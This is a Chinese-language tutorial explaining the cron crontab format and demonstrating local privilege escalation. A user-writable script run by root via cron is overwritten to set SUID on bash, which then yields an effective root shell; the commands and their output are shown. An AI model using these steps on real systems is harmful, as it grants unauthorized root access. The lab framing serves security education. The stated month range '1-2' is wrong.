概述
cron是Linux环境下基于时间的任务管理系统,cron该词来源于希腊语chronos,原意是时间。 用户可以通过cron在固定时间、日期和间隔下定期运行命令和脚本。
cron任务可以运行普通用户的任务,也可以通过root身份运行系统级别的任务。 系统级别的定义文件为/etc/crontab,其一般的形式如下
分钟(0-59) 小时(0-23) 日(1-31) 月(1-2) 周(0-6) 用户名 命令
前五个字段定义了触发任务执行的定时条件,第六个字段定义了执行该任务的用户名, 第七个字段则定义了所执行的命令。
控制和修改系统级别的cron任务也是提权的一种常见手段。
示例
以下的系统级别cron设置定义了一个每分钟触发一次的任务,当该任务被触发时,cron守护进程以root身份运行/home/test/backup.sh脚本。
* * * * * root /home/test/backup.sh
如果当前用户可以修改/home/test/backup.sh文件,那该脚本就可以被用于执行提权的命令。
test@200482f2bab9:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)
test@200482f2bab9:~$ echo "chmod u+s /usr/bin/bash" > /home/test/backup.sh
test@200482f2bab9:~$ chmod +x /home/test/backup.sh
等待大约一分钟之后,我们就可以看到/usr/bin/bash有了SUID, 提权就轻而易举了。
test@ec0281ee8d40:~$ ls -alrt /usr/bin/bash
-rwsr-xr-x. 1 root root 1396520 Jan 6 2022 /usr/bin/bash
test@ec0281ee8d40:~$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
bash-5.1#
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。